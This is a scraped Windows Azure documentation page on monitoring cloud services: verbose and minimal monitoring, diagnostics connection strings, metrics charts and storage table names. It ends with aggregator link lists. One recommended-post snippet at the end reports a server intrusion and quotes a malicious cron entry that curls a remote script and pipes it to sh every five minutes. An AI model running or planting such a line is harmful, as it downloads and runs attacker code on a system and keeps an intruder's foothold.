How to Monitor Cloud Services

To use this feature and other new Windows Azure capabilities, sign up for the free preview.

You can monitor key performance metrics for your cloud services in the Windows Azure Management Portal. You can set the level of monitoring to minimal and verbose for each service role, and can customize the monitoring displays. Verbose monitoring data is stored in a storage account, which you can access outside the portal.

Monitoring displays in the Management Portal are highly configurable. You can choose the metrics you want to monitor in the metrics list on the Monitor page, and you can choose which metrics to plot in metrics charts on the Monitor page and the dashboard.

Table of Contents

Concepts

By default, minimal monitoring is provided for a new cloud service using performance counters gathered from the host operating system for the roles instances (virtual machines). The minimal metrics are limited to CPU Percentage, Data In, Data Out, Disk Read Throughput, and Disk Write Throughput. By configuring verbose monitoring, you can receive additional metrics based on performance data within the virtual machines (role instances). The verbose metrics enable closer analysis of issues that occur during application operations.

Note

If you use verbose monitoring, you can add more performance counters at role instance startup, through a diagnostics configuration file, or remotely using the Windows Azure Diagnostics API. To be able to monitor these metrics in the Management Portal, you must add the performance counters before you configure verbose monitoring. For more information, see Overview of Windows Azure Diagnostics and Overview of Creating and Using Performance Counters in a Windows Azure Application.

By default performance counter data from role instances is sampled and transferred from the role instance at 3-minute intervals. When you enable verbose monitoring, the raw performance counter data is aggregated for each role instance and across role instances for each role at intervals of 5 minutes, 1 hour, and 12 hours. The aggregated data is purged after 10 days.

After you enable verbose monitoring, the aggregated monitoring data is stored in tables in your storage account. To enable verbose monitoring for a role, you must configure a diagnostics connection string that links to the storage account. You can use different storage accounts for different roles.

Note that enabling verbose monitoring will increase your storage costs related to data storage, data transfer, and storage transactions. Minimal monitoring does not require a storage account. The data for the metrics that are exposed at the minimal monitoring level are not stored in your storage account, even if you set the monitoring level to verbose.

How to: Configure monitoring for cloud services

Use the following procedures to configure verbose or minimal monitoring in the Management Portal. You cannot turn on verbose monitoring until you enable Windows Azure Diagnostics and configure diagnostics connection strings to enable Windows Azure Diagnostics to access storage accounts to store the verbose monitoring data.

Before you begin

  • Create a storage account to store the monitoring data. You can use different storage accounts for different roles. For more information, see help for Storage Accounts, or see How To Create a Storage Account.

  • Enable Windows Azure Diagnostics for your cloud service roles.

    You must update the cloud service definition file (.csdef) and the cloud service configuration file (.cscfg). For more information, see Enabling Diagnostics in Windows Azure.

In the Management Portal, you can add or modify the diagnostics connection strings that Windows Azure Diagnostics uses to access the storage accounts that store verbose monitoring data, and you can set the level of monitoring to verbose or minimal. Because verbose monitoring stores data in a storage account, you must configure the diagnostics connection strings before you set the monitoring level to verbose.

To configure diagnostics connections strings for verbose monitoring

  1. Copy a storage access key for the storage accont that that you'll use to storage the verbose monitoring data. In the Windows Azure Management Portal, you can use Manage Keys on the Storage Accounts page. For more information, see How to Manage Cloud Services, or see help for the Storage Accounts page.

  2. Open Cloud Services. Then, to open the dashboard, click the name of the cloud service you want to configure.

  3. Click Production or Staging to display the deployment you want to configure.

  4. Click Configure.

    You will edit the monitoring settings at the top of the Configure page, shown below. If you have not enabled Windows Azure Diagnostics for the cloud service, the Level option is not available. You can't change the data retention policy. Verbose monitoring data for a cloud service is stored for 10 days.

  5. In Diagnostics Connection Strings, complete the diagnostics connection string for each role for which you want verbose monitoring.

    The connection strings have the following format. (The sample is for a cloud service that uses default endpoints.) To update a connection string, enter a valid storage account name and storage access key for the storage account that you want to use.

    DefaultEndpointsProtocol=https;AccountName=StorageAccountName;AccountKey=StorageAccountKey

  6. Click Save.

If you're turning on verbose monitoring, perform the next procedure after you configure diagnostics connection strings for service roles.

To change the monitoring level to verbose or minimal

  1. In the Management Portal, open the Configure page for the cloud service deployment.

  2. In Level, click Verbose or Minimal.

  3. Click Save.

After you turn on verbose monitoring, you should start seeing the monitoring data in the Management Portal within the hour.

The raw performance counter data and aggregated monitoring data are stored in the storage account in tables qualified by the deployment ID for the roles.

How to: Receive alerts for cloud service metrics

You can receive alerts based on your cloud service monitoring metrics. On the Management Services page of the Windows Azure Management Portal, you can create a rule to trigger an alert when the metric you choose reaches a value that you specify. You can also choose to have email sent when the alert is triggered. For more information, see How to: Receive Alert Notifications and Manage Alert Rules in Windows Azure.

How to: Add metrics to the metrics table

  1. In the Management Portal, open the Monitor page for the cloud service.

    By default, the metrics table displays a subset of the available metrics. The illustration shows the default verbose metrics for a cloud service, which is limited to the Memory\Available MBytes performance counter, with data aggregated at the role level. Use Add Metrics to select additional aggregate and role-level metrics to monitor in the Management Portal.

  2. To add metrics to the metrics table:

    a. Click Add Metrics to open Choose Metrics, shown below. The first available metric is expanded to show options that are available. For each metric, the top option displays aggregated monitoring data for all roles. In addition, you can choose individual roles to display data for.

    b. To select metrics to display:

    • Click the down arrow by the metric to expand the monitoring options.
    • Select the check box for each monitoring option you want to display.

    You can display up to 50 metrics in the metrics table.

    Hint

    In verbose monitoring, the metrics list can contain dozens of metrics. To display a scrollbar, hover over the right side of the dialog box. To filter the list, click the search icon, and enter text in the search box, as shown below.

  3. After you finish selecting metrics, click OK (checkmark).

    The selected metrics are added to the metrics table, as shown below.

  4. To delete a metric from the metrics table, click the metric to select it, and then click Delete Metric. (You only see Delete Metric when you have a metric selected.)

How to: Customize the metrics chart

  1. In the metrics table, select up to 6 metrics to plot on the metrics chart. To select a metric, click the check box on its left side. To remove a metric from the metrics chart, clear its check box in the metrics table.

    As you select metrics in the metrics table, the metrics are added to the metrics chart. On a narrow display, an n more drop-down list contains metric headers that won't fit the display.

  2. To switch between displaying relative values (final value only for each metric) and absolute values (Y axis displayed), select Relative or Absolute at the top of the chart.

  3. To change the time range the metrics chart displays, select 1 hour, 24 hours, or 7 days at the top of the chart.

On the dashboard metrics chart, the method for plotting metrics is different. A standard set of metrics is available, and metrics are added or removed by selecting the metric header.

To customize the metrics chart on the dashboard

  1. Open the dashboard for the cloud service.

  2. Add or remove metrics from the chart:

    • To plot a new metric, select the check box for the metric in the chart headers. On a narrow display, click the down arrow by n metrics to plot a metric the chart header area can't display.

    • To delete a metric that is plotted on the chart, clear the check box by its header.

  3. Switch between Relative and Absolute displays.

  4. Choose 1 hour, 24 hours, or 7 days of data to display.

How to: Access verbose monitoring data outside the Management Portal

Verbose monitoring data is stored in tables in the storage accounts that you specify for each role. For each cloud service deployment, six tables are created for the role. Two tables are created for each (5 minutes, 1 hour, and 12 hours). One of these tables stores role-level aggregations; the other table stores aggregations for role instances.

The table names have the following format:

WAD*deploymentID*PT*aggregation_interval*[R|RI]Table

where:

  • deploymentID is the GUID assigned to the cloud service deployment

  • aggregation_interval = 5M, 1H, or 12H

  • role-level aggregations = R

  • aggregations for role instances = RI

For example, the following tables would store verbose monitoring data aggregated at 1-hour intervals:

WAD8b7c4233802442b494d0cc9eb9d8dd9fPT1HRTable (hourly aggregations for the role)

WAD8b7c4233802442b494d0cc9eb9d8dd9fPT1HRITable (hourly aggregations for role instances)

[Windows Azure] How to Monitor Cloud Services的更多相关文章

  1. [Windows Azure] How to Configure Cloud Services

    How to Configure Cloud Services To use this feature and other new Windows Azure capabilities, sign u ...

  2. [Windows Azure] How to Manage Cloud Services

    How to Manage Cloud Services To use this feature and other new Windows Azure capabilities, sign up f ...

  3. [Windows Azure] What is a cloud service?

    What is a cloud service? When you create an application and run it in Windows Azure, the code and co ...

  4. [Windows Azure] Virtual Machine and Cloud Service Sizes for Windows Azure

    Virtual machine size CPU cores Memory OS disk space–cloud services OS disk space–virtual machines Ma ...

  5. Windows Azure中WebSite 网站, Cloud Service 云服务,Virtual Machine 虚拟机的比较

    在Windows Azure服务平台里,Web Site特点是: 在Windows Azure上构建高度可扩展的Web站点. 快速.轻松部署一个高度可扩展的云环境,并且可以从很小的规模开始. 使用您所 ...

  6. [Windows Azure] Configuring and Deploying the Windows Azure Email Service application - 2 of 5

    Configuring and Deploying the Windows Azure Email Service application - 2 of 5 This is the second tu ...

  7. [Windows Azure] How to Create and Deploy a Cloud Service?

    The Windows Azure Management Portal provides two ways for you to create and deploy a cloud service: ...

  8. [Windows Azure] Enabling Diagnostics in Windows Azure

    Enabling Diagnostics in Windows Azure Windows Azure Diagnostics enables you to collect diagnostic da ...

  9. Configuring a Windows Azure Project

    A Windows Azure project includes two configuration files: ServiceDefinition.csdef and ServiceConfigu ...

随机推荐

  1. curl定时任务下载执行

    服务器入侵后有定时任务执行如下,通过cron,下载脚本并执行!达到杀不死的木马进程 */5 * * * * curl -fsSL http://xxxx/pm.sh?0111 | sh curl参数解 ...

  2. Spring Boot 在IDEA中debug时的hot deployment(热部署)

    因为Spring Boot的项目一般会打包成jar发布, 在开发阶段debug时, 不能像传统的web项目那样, 选择exploded resources进行debug, 也没有热更新按钮, 如果每次 ...

  3. 【laravel5.* + 钉钉实现WEB第三方登录】 使用redis 作为持久化存储

    1.去钉钉开发者平台>自助者工具,创建扫码登录授权应用,填写名称.描述.授权页面logo地址(这个图片最后会出现在用户扫码设备中,建议使用压缩图片减少用户加载时间).回调域名(一般都是写一个子域 ...

  4. 关于CASE WHEN的多条件汇总问题

    https://bbs.csdn.net/topics/392217817?page=1 问题: --创建测试表 IF EXISTS (SELECT * FROM sys.objects WHERE ...

  5. [转]nonlocal和global

    在Python中,当引用一个变量的时候,对这个变量的搜索是按找本地作用域(Local).嵌套作用域(Enclosing function locals).全局作用域(Global).内置作用域(bui ...

  6. strace命令解析

    strace常用于跟踪和分析进程执行时中系统调用和耗时以及占用cpu的比例,常用的格式如下: 1.sudo /usr/bin/strace -Ttt -p pid 2>pid.log 跟进pid ...

  7. 阿里面试的一点感受 阿里ali片式经历和面试题

    阿里面试的一点感受 <!-- [废话开始] 百度实习三个月,明天就要离职了,感觉还挺开心的,同事们都很照顾我,Boss也比较欣赏我,我很满足了.掐指一算,这大四其实也没几个月了,同事们都在感叹大 ...

  8. 构建高性能web之路------mysql读写分离实战(转)

    一个完整的mysql读写分离环境包括以下几个部分: 应用程序client database proxy database集群 在本次实战中,应用程序client基于c3p0连接后端的database ...

  9. Http网络协议

    目录结构: contents structure [-] 什么是HTTP协议 Http协议的发展历史 Http的报文结构 客户端请求 服务端响应消息 Content-Type application/ ...

  10. MFC中无标题栏窗口的移动

    原文链接: http://blog.sina.com.cn/s/blog_6288219501015dwa.html   移动标准窗口是通过用鼠标单击窗口标题条来实现的,但对于没有标题条的窗口,就需要 ...